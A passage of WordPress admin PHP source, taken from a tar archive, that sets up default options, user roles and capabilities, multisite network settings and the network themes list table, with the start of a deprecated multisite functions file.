'use_smilies' => 1, 'require_name_email' => 1, 'comments_notify' => 1, 'posts_per_rss' => 10, 'rss_use_excerpt' => 0, 'mailserver_url' => 'mail.example.com', 'mailserver_login' => 'login@example.com', 'mailserver_pass' => 'password', 'mailserver_port' => 110, 'default_category' => 1, 'default_comment_status' => 'open', 'default_ping_status' => 'open', 'default_pingback_flag' => 1, 'posts_per_page' => 10, /* translators: default date format, see http://php.net/date */ 'date_format' => __('F j, Y'), /* translators: default time format, see http://php.net/date */ 'time_format' => __('g:i a'), /* translators: links last updated date format, see http://php.net/date */ 'links_updated_date_format' => __('F j, Y g:i a'), 'comment_moderation' => 0, 'moderation_notify' => 1, 'permalink_structure' => '', 'gzipcompression' => 0, 'hack_file' => 0, 'blog_charset' => 'UTF-8', 'moderation_keys' => '', 'active_plugins' => array(), 'home' => $guessurl, 'category_base' => '', 'ping_sites' => 'http://rpc.pingomatic.com/', 'advanced_edit' => 0, 'comment_max_links' => 2, 'gmt_offset' => $gmt_offset, // 1.5 'default_email_category' => 1, 'recently_edited' => '', 'template' => $template, 'stylesheet' => WP_DEFAULT_THEME, 'comment_whitelist' => 1, 'blacklist_keys' => '', 'comment_registration' => 0, 'html_type' => 'text/html', // 1.5.1 'use_trackback' => 0, // 2.0 'default_role' => 'subscriber', 'db_version' => $wp_db_version, // 2.0.1 'uploads_use_yearmonth_folders' => $uploads_use_yearmonth_folders, 'upload_path' => '', // 2.1 'blog_public' => '1', 'default_link_category' => 2, 'show_on_front' => 'posts', // 2.2 'tag_base' => '', // 2.5 'show_avatars' => '1', 'avatar_rating' => 'G', 'upload_url_path' => '', 'thumbnail_size_w' => 150, 'thumbnail_size_h' => 150, 'thumbnail_crop' => 1, 'medium_size_w' => 300, 'medium_size_h' => 300, // 2.6 'avatar_default' => 'mystery', // 2.7 'large_size_w' => 1024, 'large_size_h' => 1024, 'image_default_link_type' => 'file', 'image_default_size' => '', 'image_default_align' => '', 'close_comments_for_old_posts' => 0, 'close_comments_days_old' => 14, 'thread_comments' => 1, 'thread_comments_depth' => 5, 'page_comments' => 0, 'comments_per_page' => 50, 'default_comments_page' => 'newest', 'comment_order' => 'asc', 'sticky_posts' => array(), 'widget_categories' => array(), 'widget_text' => array(), 'widget_rss' => array(), 'uninstall_plugins' => array(), // 2.8 'timezone_string' => $timezone_string, // 3.0 'page_for_posts' => 0, 'page_on_front' => 0, // 3.1 'default_post_format' => 0, // 3.5 'link_manager_enabled' => 0, ); // 3.3 if ( ! is_multisite() ) { $options['initial_db_version'] = ! empty( $wp_current_db_version ) && $wp_current_db_version < $wp_db_version ? $wp_current_db_version : $wp_db_version; } // 3.0 multisite if ( is_multisite() ) { /* translators: blog tagline */ $options[ 'blogdescription' ] = sprintf(__('Just another %s site'), get_current_site()->site_name ); $options[ 'permalink_structure' ] = '/%year%/%monthnum%/%day%/%postname%/'; } // Set autoload to no for these options $fat_options = array( 'moderation_keys', 'recently_edited', 'blacklist_keys', 'uninstall_plugins' ); $keys = "'" . implode( "', '", array_keys( $options ) ) . "'"; $existing_options = $wpdb->get_col( "SELECT option_name FROM $wpdb->options WHERE option_name in ( $keys )" ); $insert = ''; foreach ( $options as $option => $value ) { if ( in_array($option, $existing_options) ) continue; if ( in_array($option, $fat_options) ) $autoload = 'no'; else $autoload = 'yes'; if ( is_array($value) ) $value = serialize($value); if ( !empty($insert) ) $insert .= ', '; $insert .= $wpdb->prepare( "(%s, %s, %s)", $option, $value, $autoload ); } if ( !empty($insert) ) $wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES " . $insert); // in case it is set, but blank, update "home" if ( !__get_option('home') ) update_option('home', $guessurl); // Delete unused options $unusedoptions = array( 'blodotgsping_url', 'bodyterminator', 'emailtestonly', 'phoneemail_separator', 'smilies_directory', 'subjectprefix', 'use_bbcode', 'use_blodotgsping', 'use_phoneemail', 'use_quicktags', 'use_weblogsping', 'weblogs_cache_file', 'use_preview', 'use_htmltrans', 'smilies_directory', 'fileupload_allowedusers', 'use_phoneemail', 'default_post_status', 'default_post_category', 'archive_mode', 'time_difference', 'links_minadminlevel', 'links_use_adminlevels', 'links_rating_type', 'links_rating_char', 'links_rating_ignore_zero', 'links_rating_single_image', 'links_rating_image0', 'links_rating_image1', 'links_rating_image2', 'links_rating_image3', 'links_rating_image4', 'links_rating_image5', 'links_rating_image6', 'links_rating_image7', 'links_rating_image8', 'links_rating_image9', 'links_recently_updated_time', 'links_recently_updated_prepend', 'links_recently_updated_append', 'weblogs_cacheminutes', 'comment_allowed_tags', 'search_engine_friendly_urls', 'default_geourl_lat', 'default_geourl_lon', 'use_default_geourl', 'weblogs_xml_url', 'new_users_can_blog', '_wpnonce', '_wp_http_referer', 'Update', 'action', 'rich_editing', 'autosave_interval', 'deactivated_plugins', 'can_compress_scripts', 'page_uris', 'update_core', 'update_plugins', 'update_themes', 'doing_cron', 'random_seed', 'rss_excerpt_length', 'secret', 'use_linksupdate', 'default_comment_status_page', 'wporg_popular_tags', 'what_to_show', 'rss_language', 'language', 'enable_xmlrpc', 'enable_app', 'embed_autourls', 'default_post_edit_rows', ); foreach ( $unusedoptions as $option ) delete_option($option); // delete obsolete magpie stuff $wpdb->query("DELETE FROM $wpdb->options WHERE option_name REGEXP '^rss_[0-9a-f]{32}(_ts)?$'"); // Deletes all expired transients. // The multi-table delete syntax is used to delete the transient record from table a, // and the corresponding transient_timeout record from table b. $time = time(); $wpdb->query("DELETE a, b FROM $wpdb->options a, $wpdb->options b WHERE a.option_name LIKE '\_transient\_%' AND a.option_name NOT LIKE '\_transient\_timeout\_%' AND b.option_name = CONCAT( '_transient_timeout_', SUBSTRING( a.option_name, 12 ) ) AND b.option_value < $time"); if ( is_main_site() && is_main_network() ) { $wpdb->query("DELETE a, b FROM $wpdb->options a, $wpdb->options b WHERE a.option_name LIKE '\_site\_transient\_%' AND a.option_name NOT LIKE '\_site\_transient\_timeout\_%' AND b.option_name = CONCAT( '_site_transient_timeout_', SUBSTRING( a.option_name, 17 ) ) AND b.option_value < $time"); } } /** * Execute WordPress role creation for the various WordPress versions. * * @since 2.0.0 */ function populate_roles() { populate_roles_160(); populate_roles_210(); populate_roles_230(); populate_roles_250(); populate_roles_260(); populate_roles_270(); populate_roles_280(); populate_roles_300(); } /** * Create the roles for WordPress 2.0 * * @since 2.0.0 */ function populate_roles_160() { // Add roles // Dummy gettext calls to get strings in the catalog. /* translators: user role */ _x('Administrator', 'User role'); /* translators: user role */ _x('Editor', 'User role'); /* translators: user role */ _x('Author', 'User role'); /* translators: user role */ _x('Contributor', 'User role'); /* translators: user role */ _x('Subscriber', 'User role'); add_role('administrator', 'Administrator'); add_role('editor', 'Editor'); add_role('author', 'Author'); add_role('contributor', 'Contributor'); add_role('subscriber', 'Subscriber'); // Add caps for Administrator role $role = get_role('administrator'); $role->add_cap('switch_themes'); $role->add_cap('edit_themes'); $role->add_cap('activate_plugins'); $role->add_cap('edit_plugins'); $role->add_cap('edit_users'); $role->add_cap('edit_files'); $role->add_cap('manage_options'); $role->add_cap('moderate_comments'); $role->add_cap('manage_categories'); $role->add_cap('manage_links'); $role->add_cap('upload_files'); $role->add_cap('import'); $role->add_cap('unfiltered_html'); $role->add_cap('edit_posts'); $role->add_cap('edit_others_posts'); $role->add_cap('edit_published_posts'); $role->add_cap('publish_posts'); $role->add_cap('edit_pages'); $role->add_cap('read'); $role->add_cap('level_10'); $role->add_cap('level_9'); $role->add_cap('level_8'); $role->add_cap('level_7'); $role->add_cap('level_6'); $role->add_cap('level_5'); $role->add_cap('level_4'); $role->add_cap('level_3'); $role->add_cap('level_2'); $role->add_cap('level_1'); $role->add_cap('level_0'); // Add caps for Editor role $role = get_role('editor'); $role->add_cap('moderate_comments'); $role->add_cap('manage_categories'); $role->add_cap('manage_links'); $role->add_cap('upload_files'); $role->add_cap('unfiltered_html'); $role->add_cap('edit_posts'); $role->add_cap('edit_others_posts'); $role->add_cap('edit_published_posts'); $role->add_cap('publish_posts'); $role->add_cap('edit_pages'); $role->add_cap('read'); $role->add_cap('level_7'); $role->add_cap('level_6'); $role->add_cap('level_5'); $role->add_cap('level_4'); $role->add_cap('level_3'); $role->add_cap('level_2'); $role->add_cap('level_1'); $role->add_cap('level_0'); // Add caps for Author role $role = get_role('author'); $role->add_cap('upload_files'); $role->add_cap('edit_posts'); $role->add_cap('edit_published_posts'); $role->add_cap('publish_posts'); $role->add_cap('read'); $role->add_cap('level_2'); $role->add_cap('level_1'); $role->add_cap('level_0'); // Add caps for Contributor role $role = get_role('contributor'); $role->add_cap('edit_posts'); $role->add_cap('read'); $role->add_cap('level_1'); $role->add_cap('level_0'); // Add caps for Subscriber role $role = get_role('subscriber'); $role->add_cap('read'); $role->add_cap('level_0'); } /** * Create and modify WordPress roles for WordPress 2.1. * * @since 2.1.0 */ function populate_roles_210() { $roles = array('administrator', 'editor'); foreach ($roles as $role) { $role = get_role($role); if ( empty($role) ) continue; $role->add_cap('edit_others_pages'); $role->add_cap('edit_published_pages'); $role->add_cap('publish_pages'); $role->add_cap('delete_pages'); $role->add_cap('delete_others_pages'); $role->add_cap('delete_published_pages'); $role->add_cap('delete_posts'); $role->add_cap('delete_others_posts'); $role->add_cap('delete_published_posts'); $role->add_cap('delete_private_posts'); $role->add_cap('edit_private_posts'); $role->add_cap('read_private_posts'); $role->add_cap('delete_private_pages'); $role->add_cap('edit_private_pages'); $role->add_cap('read_private_pages'); } $role = get_role('administrator'); if ( ! empty($role) ) { $role->add_cap('delete_users'); $role->add_cap('create_users'); } $role = get_role('author'); if ( ! empty($role) ) { $role->add_cap('delete_posts'); $role->add_cap('delete_published_posts'); } $role = get_role('contributor'); if ( ! empty($role) ) { $role->add_cap('delete_posts'); } } /** * Create and modify WordPress roles for WordPress 2.3. * * @since 2.3.0 */ function populate_roles_230() { $role = get_role( 'administrator' ); if ( !empty( $role ) ) { $role->add_cap( 'unfiltered_upload' ); } } /** * Create and modify WordPress roles for WordPress 2.5. * * @since 2.5.0 */ function populate_roles_250() { $role = get_role( 'administrator' ); if ( !empty( $role ) ) { $role->add_cap( 'edit_dashboard' ); } } /** * Create and modify WordPress roles for WordPress 2.6. * * @since 2.6.0 */ function populate_roles_260() { $role = get_role( 'administrator' ); if ( !empty( $role ) ) { $role->add_cap( 'update_plugins' ); $role->add_cap( 'delete_plugins' ); } } /** * Create and modify WordPress roles for WordPress 2.7. * * @since 2.7.0 */ function populate_roles_270() { $role = get_role( 'administrator' ); if ( !empty( $role ) ) { $role->add_cap( 'install_plugins' ); $role->add_cap( 'update_themes' ); } } /** * Create and modify WordPress roles for WordPress 2.8. * * @since 2.8.0 */ function populate_roles_280() { $role = get_role( 'administrator' ); if ( !empty( $role ) ) { $role->add_cap( 'install_themes' ); } } /** * Create and modify WordPress roles for WordPress 3.0. * * @since 3.0.0 */ function populate_roles_300() { $role = get_role( 'administrator' ); if ( !empty( $role ) ) { $role->add_cap( 'update_core' ); $role->add_cap( 'list_users' ); $role->add_cap( 'remove_users' ); // Never used, will be removed. create_users or // promote_users is the capability you're looking for. $role->add_cap( 'add_users' ); $role->add_cap( 'promote_users' ); $role->add_cap( 'edit_theme_options' ); $role->add_cap( 'delete_themes' ); $role->add_cap( 'export' ); } } /** * Install Network. * * @since 3.0.0 * */ if ( !function_exists( 'install_network' ) ) : function install_network() { if ( ! defined( 'WP_INSTALLING_NETWORK' ) ) define( 'WP_INSTALLING_NETWORK', true ); dbDelta( wp_get_db_schema( 'global' ) ); } endif; /** * Populate network settings. * * @since 3.0.0 * * @param int $network_id ID of network to populate. * @return bool|WP_Error True on success, or WP_Error on warning (with the install otherwise successful, * so the error code must be checked) or failure. */ function populate_network( $network_id = 1, $domain = '', $email = '', $site_name = '', $path = '/', $subdomain_install = false ) { global $wpdb, $current_site, $wp_db_version, $wp_rewrite; $errors = new WP_Error(); if ( '' == $domain ) $errors->add( 'empty_domain', __( 'You must provide a domain name.' ) ); if ( '' == $site_name ) $errors->add( 'empty_sitename', __( 'You must provide a name for your network of sites.' ) ); // check for network collision if ( $network_id == $wpdb->get_var( $wpdb->prepare( "SELECT id FROM $wpdb->site WHERE id = %d", $network_id ) ) ) $errors->add( 'siteid_exists', __( 'The network already exists.' ) ); $site_user = get_user_by( 'email', $email ); if ( ! is_email( $email ) ) $errors->add( 'invalid_email', __( 'You must provide a valid e-mail address.' ) ); if ( $errors->get_error_code() ) return $errors; // set up site tables $template = get_option( 'template' ); $stylesheet = get_option( 'stylesheet' ); $allowed_themes = array( $stylesheet => true ); if ( $template != $stylesheet ) $allowed_themes[ $template ] = true; if ( WP_DEFAULT_THEME != $stylesheet && WP_DEFAULT_THEME != $template ) $allowed_themes[ WP_DEFAULT_THEME ] = true; if ( 1 == $network_id ) { $wpdb->insert( $wpdb->site, array( 'domain' => $domain, 'path' => $path ) ); $network_id = $wpdb->insert_id; } else { $wpdb->insert( $wpdb->site, array( 'domain' => $domain, 'path' => $path, 'id' => $network_id ) ); } wp_cache_delete( 'networks_have_paths', 'site-options' ); if ( !is_multisite() ) { $site_admins = array( $site_user->user_login ); $users = get_users( array( 'fields' => array( 'ID', 'user_login' ) ) ); if ( $users ) { foreach ( $users as $user ) { if ( is_super_admin( $user->ID ) && !in_array( $user->user_login, $site_admins ) ) $site_admins[] = $user->user_login; } } } else { $site_admins = get_site_option( 'site_admins' ); } $welcome_email = __( 'Dear User, Your new SITE_NAME site has been successfully set up at: BLOG_URL You can log in to the administrator account with the following information: Username: USERNAME Password: PASSWORD Log in here: BLOG_URLwp-login.php We hope you enjoy your new site. Thanks! --The Team @ SITE_NAME' ); $sitemeta = array( 'site_name' => $site_name, 'admin_email' => $site_user->user_email, 'admin_user_id' => $site_user->ID, 'registration' => 'none', 'upload_filetypes' => 'jpg jpeg png gif mp3 mov avi wmv midi mid pdf', 'blog_upload_space' => 100, 'fileupload_maxk' => 1500, 'site_admins' => $site_admins, 'allowedthemes' => $allowed_themes, 'illegal_names' => array( 'www', 'web', 'root', 'admin', 'main', 'invite', 'administrator', 'files' ), 'wpmu_upgrade_site' => $wp_db_version, 'welcome_email' => $welcome_email, 'first_post' => __( 'Welcome to <a href="SITE_URL">SITE_NAME</a>. This is your first post. Edit or delete it, then start blogging!' ), // @todo - network admins should have a method of editing the network siteurl (used for cookie hash) 'siteurl' => get_option( 'siteurl' ) . '/', 'add_new_users' => '0', 'upload_space_check_disabled' => is_multisite() ? get_site_option( 'upload_space_check_disabled' ) : '1', 'subdomain_install' => intval( $subdomain_install ), 'global_terms_enabled' => global_terms_enabled() ? '1' : '0', 'ms_files_rewriting' => is_multisite() ? get_site_option( 'ms_files_rewriting' ) : '0', 'initial_db_version' => get_option( 'initial_db_version' ), 'active_sitewide_plugins' => array(), 'WPLANG' => get_locale(), ); if ( ! $subdomain_install ) $sitemeta['illegal_names'][] = 'blog'; /** * Filter meta for a network on creation. * * @since 3.7.0 * * @param array $sitemeta Associative array of network meta keys and values to be inserted. * @param int $network_id ID of network to populate. */ $sitemeta = apply_filters( 'populate_network_meta', $sitemeta, $network_id ); $insert = ''; foreach ( $sitemeta as $meta_key => $meta_value ) { if ( is_array( $meta_value ) ) $meta_value = serialize( $meta_value ); if ( !empty( $insert ) ) $insert .= ', '; $insert .= $wpdb->prepare( "( %d, %s, %s)", $network_id, $meta_key, $meta_value ); } $wpdb->query( "INSERT INTO $wpdb->sitemeta ( site_id, meta_key, meta_value ) VALUES " . $insert ); // When upgrading from single to multisite, assume the current site will become the main site of the network. // When using populate_network() to create another network in an existing multisite environment, // skip these steps since the main site of the new network has not yet been created. if ( ! is_multisite() ) { $current_site = new stdClass; $current_site->domain = $domain; $current_site->path = $path; $current_site->site_name = ucfirst( $domain ); $wpdb->insert( $wpdb->blogs, array( 'site_id' => $network_id, 'blog_id' => 1, 'domain' => $domain, 'path' => $path, 'registered' => current_time( 'mysql' ) ) ); $current_site->blog_id = $blog_id = $wpdb->insert_id; update_user_meta( $site_user->ID, 'source_domain', $domain ); update_user_meta( $site_user->ID, 'primary_blog', $blog_id ); if ( $subdomain_install ) $wp_rewrite->set_permalink_structure( '/%year%/%monthnum%/%day%/%postname%/' ); else $wp_rewrite->set_permalink_structure( '/blog/%year%/%monthnum%/%day%/%postname%/' ); flush_rewrite_rules(); if ( ! $subdomain_install ) return true; $vhost_ok = false; $errstr = ''; $hostname = substr( md5( time() ), 0, 6 ) . '.' . $domain; // Very random hostname! $page = wp_remote_get( 'http://' . $hostname, array( 'timeout' => 5, 'httpversion' => '1.1' ) ); if ( is_wp_error( $page ) ) $errstr = $page->get_error_message(); elseif ( 200 == wp_remote_retrieve_response_code( $page ) ) $vhost_ok = true; if ( ! $vhost_ok ) { $msg = '<p><strong>' . __( 'Warning! Wildcard DNS may not be configured correctly!' ) . '</strong></p>'; $msg .= '<p>' . sprintf( __( 'The installer attempted to contact a random hostname (<code>%1$s</code>) on your domain.' ), $hostname ); if ( ! empty ( $errstr ) ) $msg .= ' ' . sprintf( __( 'This resulted in an error message: %s' ), '<code>' . $errstr . '</code>' ); $msg .= '</p>'; $msg .= '<p>' . __( 'To use a subdomain configuration, you must have a wildcard entry in your DNS. This usually means adding a <code>*</code> hostname record pointing at your web server in your DNS configuration tool.' ) . '</p>'; $msg .= '<p>' . __( 'You can still use your site but any subdomain you create may not be accessible. If you know your DNS is correct, ignore this message.' ) . '</p>'; return new WP_Error( 'no_wildcard_dns', $msg ); } } return true; } class-wp-ms-themes-list-table.php000077700000034777151514577750013016 0ustar00<?php /** * MS Themes List Table class. * * @package WordPress * @subpackage List_Table * @since 3.1.0 * @access private */ class WP_MS_Themes_List_Table extends WP_List_Table { var $site_id; var $is_site_themes; function __construct( $args = array() ) { global $status, $page; parent::__construct( array( 'plural' => 'themes', 'screen' => isset( $args['screen'] ) ? $args['screen'] : null, ) ); $status = isset( $_REQUEST['theme_status'] ) ? $_REQUEST['theme_status'] : 'all'; if ( !in_array( $status, array( 'all', 'enabled', 'disabled', 'upgrade', 'search', 'broken' ) ) ) $status = 'all'; $page = $this->get_pagenum(); $this->is_site_themes = ( 'site-themes-network' == $this->screen->id ) ? true : false; if ( $this->is_site_themes ) $this->site_id = isset( $_REQUEST['id'] ) ? intval( $_REQUEST['id'] ) : 0; } function get_table_classes() { return array( 'widefat', 'plugins' ); // todo: remove and add CSS for .themes } function ajax_user_can() { if ( $this->is_site_themes ) return current_user_can( 'manage_sites' ); else return current_user_can( 'manage_network_themes' ); } function prepare_items() { global $status, $totals, $page, $orderby, $order, $s; wp_reset_vars( array( 'orderby', 'order', 's' ) ); $themes = array( /** * Filter the full array of WP_Theme objects to list in the Multisite * themes list table. * * @since 3.1.0 * * @param array $all An array of WP_Theme objects to display in the list table. */ 'all' => apply_filters( 'all_themes', wp_get_themes() ), 'search' => array(), 'enabled' => array(), 'disabled' => array(), 'upgrade' => array(), 'broken' => $this->is_site_themes ? array() : wp_get_themes( array( 'errors' => true ) ), ); if ( $this->is_site_themes ) { $themes_per_page = $this->get_items_per_page( 'site_themes_network_per_page' ); $allowed_where = 'site'; } else { $themes_per_page = $this->get_items_per_page( 'themes_network_per_page' ); $allowed_where = 'network'; } $maybe_update = current_user_can( 'update_themes' ) && ! $this->is_site_themes && $current = get_site_transient( 'update_themes' ); foreach ( (array) $themes['all'] as $key => $theme ) { if ( $this->is_site_themes && $theme->is_allowed( 'network' ) ) { unset( $themes['all'][ $key ] ); continue; } if ( $maybe_update && isset( $current->response[ $key ] ) ) { $themes['all'][ $key ]->update = true; $themes['upgrade'][ $key ] = $themes['all'][ $key ]; } $filter = $theme->is_allowed( $allowed_where, $this->site_id ) ? 'enabled' : 'disabled'; $themes[ $filter ][ $key ] = $themes['all'][ $key ]; } if ( $s ) { $status = 'search'; $themes['search'] = array_filter( array_merge( $themes['all'], $themes['broken'] ), array( $this, '_search_callback' ) ); } $totals = array(); foreach ( $themes as $type => $list ) $totals[ $type ] = count( $list ); if ( empty( $themes[ $status ] ) && !in_array( $status, array( 'all', 'search' ) ) ) $status = 'all'; $this->items = $themes[ $status ]; WP_Theme::sort_by_name( $this->items ); $this->has_items = ! empty( $themes['all'] ); $total_this_page = $totals[ $status ]; if ( $orderby ) { $orderby = ucfirst( $orderby ); $order = strtoupper( $order ); if ( $orderby == 'Name' ) { if ( 'ASC' == $order ) $this->items = array_reverse( $this->items ); } else { uasort( $this->items, array( $this, '_order_callback' ) ); } } $start = ( $page - 1 ) * $themes_per_page; if ( $total_this_page > $themes_per_page ) $this->items = array_slice( $this->items, $start, $themes_per_page, true ); $this->set_pagination_args( array( 'total_items' => $total_this_page, 'per_page' => $themes_per_page, ) ); } function _search_callback( $theme ) { static $term; if ( is_null( $term ) ) $term = wp_unslash( $_REQUEST['s'] ); foreach ( array( 'Name', 'Description', 'Author', 'Author', 'AuthorURI' ) as $field ) { // Don't mark up; Do translate. if ( false !== stripos( $theme->display( $field, false, true ), $term ) ) return true; } if ( false !== stripos( $theme->get_stylesheet(), $term ) ) return true; if ( false !== stripos( $theme->get_template(), $term ) ) return true; return false; } // Not used by any core columns. function _order_callback( $theme_a, $theme_b ) { global $orderby, $order; $a = $theme_a[ $orderby ]; $b = $theme_b[ $orderby ]; if ( $a == $b ) return 0; if ( 'DESC' == $order ) return ( $a < $b ) ? 1 : -1; else return ( $a < $b ) ? -1 : 1; } function no_items() { if ( ! $this->has_items ) _e( 'No themes found.' ); else _e( 'You do not appear to have any themes available at this time.' ); } function get_columns() { global $status; return array( 'cb' => '<input type="checkbox" />', 'name' => __( 'Theme' ), 'description' => __( 'Description' ), ); } function get_sortable_columns() { return array( 'name' => 'name', ); } function get_views() { global $totals, $status; $status_links = array(); foreach ( $totals as $type => $count ) { if ( !$count ) continue; switch ( $type ) { case 'all': $text = _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $count, 'themes' ); break; case 'enabled': $text = _n( 'Enabled <span class="count">(%s)</span>', 'Enabled <span class="count">(%s)</span>', $count ); break; case 'disabled': $text = _n( 'Disabled <span class="count">(%s)</span>', 'Disabled <span class="count">(%s)</span>', $count ); break; case 'upgrade': $text = _n( 'Update Available <span class="count">(%s)</span>', 'Update Available <span class="count">(%s)</span>', $count ); break; case 'broken' : $text = _n( 'Broken <span class="count">(%s)</span>', 'Broken <span class="count">(%s)</span>', $count ); break; } if ( $this->is_site_themes ) $url = 'site-themes.php?id=' . $this->site_id; else $url = 'themes.php'; if ( 'search' != $type ) { $status_links[$type] = sprintf( "<a href='%s' %s>%s</a>", esc_url( add_query_arg('theme_status', $type, $url) ), ( $type == $status ) ? ' class="current"' : '', sprintf( $text, number_format_i18n( $count ) ) ); } } return $status_links; } function get_bulk_actions() { global $status; $actions = array(); if ( 'enabled' != $status ) $actions['enable-selected'] = $this->is_site_themes ? __( 'Enable' ) : __( 'Network Enable' ); if ( 'disabled' != $status ) $actions['disable-selected'] = $this->is_site_themes ? __( 'Disable' ) : __( 'Network Disable' ); if ( ! $this->is_site_themes ) { if ( current_user_can( 'update_themes' ) ) $actions['update-selected'] = __( 'Update' ); if ( current_user_can( 'delete_themes' ) ) $actions['delete-selected'] = __( 'Delete' ); } return $actions; } function display_rows() { foreach ( $this->items as $theme ) $this->single_row( $theme ); } function single_row( $theme ) { global $status, $page, $s, $totals; $context = $status; if ( $this->is_site_themes ) { $url = "site-themes.php?id={$this->site_id}&"; $allowed = $theme->is_allowed( 'site', $this->site_id ); } else { $url = 'themes.php?'; $allowed = $theme->is_allowed( 'network' ); } // preorder $actions = array( 'enable' => '', 'disable' => '', 'edit' => '', 'delete' => '' ); $stylesheet = $theme->get_stylesheet(); $theme_key = urlencode( $stylesheet ); if ( ! $allowed ) { if ( ! $theme->errors() ) $actions['enable'] = '<a href="' . esc_url( wp_nonce_url($url . 'action=enable&theme=' . $theme_key . '&paged=' . $page . '&s=' . $s, 'enable-theme_' . $stylesheet ) ) . '" title="' . esc_attr__('Enable this theme') . '" class="edit">' . ( $this->is_site_themes ? __( 'Enable' ) : __( 'Network Enable' ) ) . '</a>'; } else { $actions['disable'] = '<a href="' . esc_url( wp_nonce_url($url . 'action=disable&theme=' . $theme_key . '&paged=' . $page . '&s=' . $s, 'disable-theme_' . $stylesheet ) ) . '" title="' . esc_attr__('Disable this theme') . '">' . ( $this->is_site_themes ? __( 'Disable' ) : __( 'Network Disable' ) ) . '</a>'; } if ( current_user_can('edit_themes') ) $actions['edit'] = '<a href="' . esc_url('theme-editor.php?theme=' . $theme_key ) . '" title="' . esc_attr__('Open this theme in the Theme Editor') . '" class="edit">' . __('Edit') . '</a>'; if ( ! $allowed && current_user_can( 'delete_themes' ) && ! $this->is_site_themes && $stylesheet != get_option( 'stylesheet' ) && $stylesheet != get_option( 'template' ) ) $actions['delete'] = '<a href="' . esc_url( wp_nonce_url( 'themes.php?action=delete-selected&checked[]=' . $theme_key . '&theme_status=' . $context . '&paged=' . $page . '&s=' . $s, 'bulk-themes' ) ) . '" title="' . esc_attr__( 'Delete this theme' ) . '" class="delete">' . __( 'Delete' ) . '</a>'; /** * Filter the action links displayed for each theme in the Multisite * themes list table. * * The action links displayed are determined by the theme's status, and * which Multisite themes list table is being displayed - the Network * themes list table (themes.php), which displays all installed themes, * or the Site themes list table (site-themes.php), which displays the * non-network enabled themes when editing a site in the Network admin. * * The default action links for the Network themes list table include * 'Network Enable', 'Network Disable', 'Edit', and 'Delete'. * * The default action links for the Site themes list table include * 'Enable', 'Disable', and 'Edit'. * * @since 2.8.0 * * @param array $actions An array of action links. * @param WP_Theme $theme The current WP_Theme object. * @param string $context Status of the theme. */ $actions = apply_filters( 'theme_action_links', array_filter( $actions ), $theme, $context ); /** * Filter the action links of a specific theme in the Multisite themes * list table. * * The dynamic portion of the hook name, $stylesheet, refers to the * directory name of the theme, which in most cases is synonymous * with the template name. * * @since 3.1.0 * * @param array $actions An array of action links. * @param WP_Theme $theme The current WP_Theme object. * @param string $context Status of the theme. */ $actions = apply_filters( "theme_action_links_$stylesheet", $actions, $theme, $context ); $class = ! $allowed ? 'inactive' : 'active'; $checkbox_id = "checkbox_" . md5( $theme->get('Name') ); $checkbox = "<input type='checkbox' name='checked[]' value='" . esc_attr( $stylesheet ) . "' id='" . $checkbox_id . "' /><label class='screen-reader-text' for='" . $checkbox_id . "' >" . __('Select') . " " . $theme->display('Name') . "</label>"; $id = sanitize_html_class( $theme->get_stylesheet() ); if ( ! empty( $totals['upgrade'] ) && ! empty( $theme->update ) ) $class .= ' update'; echo "<tr id='$id' class='$class'>"; list( $columns, $hidden ) = $this->get_column_info(); foreach ( $columns as $column_name => $column_display_name ) { $style = ''; if ( in_array( $column_name, $hidden ) ) $style = ' style="display:none;"'; switch ( $column_name ) { case 'cb': echo "<th scope='row' class='check-column'>$checkbox</th>"; break; case 'name': echo "<td class='theme-title'$style><strong>" . $theme->display('Name') . "</strong>"; echo $this->row_actions( $actions, true ); echo "</td>"; break; case 'description': echo "<td class='column-description desc'$style>"; if ( $theme->errors() ) { $pre = $status == 'broken' ? __( 'Broken Theme:' ) . ' ' : ''; echo '<p><strong class="attention">' . $pre . $theme->errors()->get_error_message() . '</strong></p>'; } echo "<div class='theme-description'><p>" . $theme->display( 'Description' ) . "</p></div> <div class='$class second theme-version-author-uri'>"; $theme_meta = array(); if ( $theme->get('Version') ) $theme_meta[] = sprintf( __( 'Version %s' ), $theme->display('Version') ); $theme_meta[] = sprintf( __( 'By %s' ), $theme->display('Author') ); if ( $theme->get('ThemeURI') ) $theme_meta[] = '<a href="' . $theme->display('ThemeURI') . '" title="' . esc_attr__( 'Visit theme homepage' ) . '">' . __( 'Visit Theme Site' ) . '</a>'; /** * Filter the array of row meta for each theme in the Multisite themes * list table. * * @since 3.1.0 * * @param array $theme_meta An array of the theme's metadata, * including the version, author, and * theme URI. * @param string $stylesheet Directory name of the theme. * @param WP_Theme $theme WP_Theme object. * @param string $status Status of the theme. */ $theme_meta = apply_filters( 'theme_row_meta', $theme_meta, $stylesheet, $theme, $status ); echo implode( ' | ', $theme_meta ); echo "</div></td>"; break; default: echo "<td class='$column_name column-$column_name'$style>"; /** * Fires inside each custom column of the Multisite themes list table. * * @since 3.1.0 * * @param string $column_name Name of the column. * @param string $stylesheet Directory name of the theme. * @param WP_Theme $theme Current WP_Theme object. */ do_action( 'manage_themes_custom_column', $column_name, $stylesheet, $theme ); echo "</td>"; } } echo "</tr>"; if ( $this->is_site_themes ) remove_action( "after_theme_row_$stylesheet", 'wp_theme_update_row' ); /** * Fires after each row in the Multisite themes list table. * * @since 3.1.0 * * @param string $stylesheet Directory name of the theme. * @param WP_Theme $theme Current WP_Theme object. * @param string $status Status of the theme. */ do_action( 'after_theme_row', $stylesheet, $theme, $status ); /** * Fires after each specific row in the Multisite themes list table. * * The dynamic portion of the hook name, $stylesheet, refers to the * directory name of the theme, most often synonymous with the template * name of the theme. * * @since 3.5.0 * * @param string $stylesheet Directory name of the theme. * @param WP_Theme $theme Current WP_Theme object. * @param string $status Status of the theme. */ do_action( "after_theme_row_$stylesheet", $stylesheet, $theme, $status ); } } ms-deprecated.php000077700000003713151514577750010026 0ustar00<?php /** * Deprecated multisite admin functions from past WordPress versions and WordPress MU. * You shouldn't use these functions and look for the alternatives instead. The functions * will be removed in a later version. * * @package WordPress * @subpackage Deprecated * @since 3.0.0 */ /** * @deprecated 3.0.0 */ function wpmu_menu() { _deprecated_function(__FUNCTION__, '3.0' ); // deprecated. See #11763 } /** * Determines if the available space defined by the admin has been exceeded by the user. * * @deprecated 3.0.0 * @see is_upload_space_available() */ function wpmu_checkAvailableSpace() { _deprecated_function(__FUNCTION__, '3.0', 'is_upload_space_available()' ); if ( !is_upload_space_available() ) wp_die( __('Sorry, you must delete files before you can upload any more.') ); } 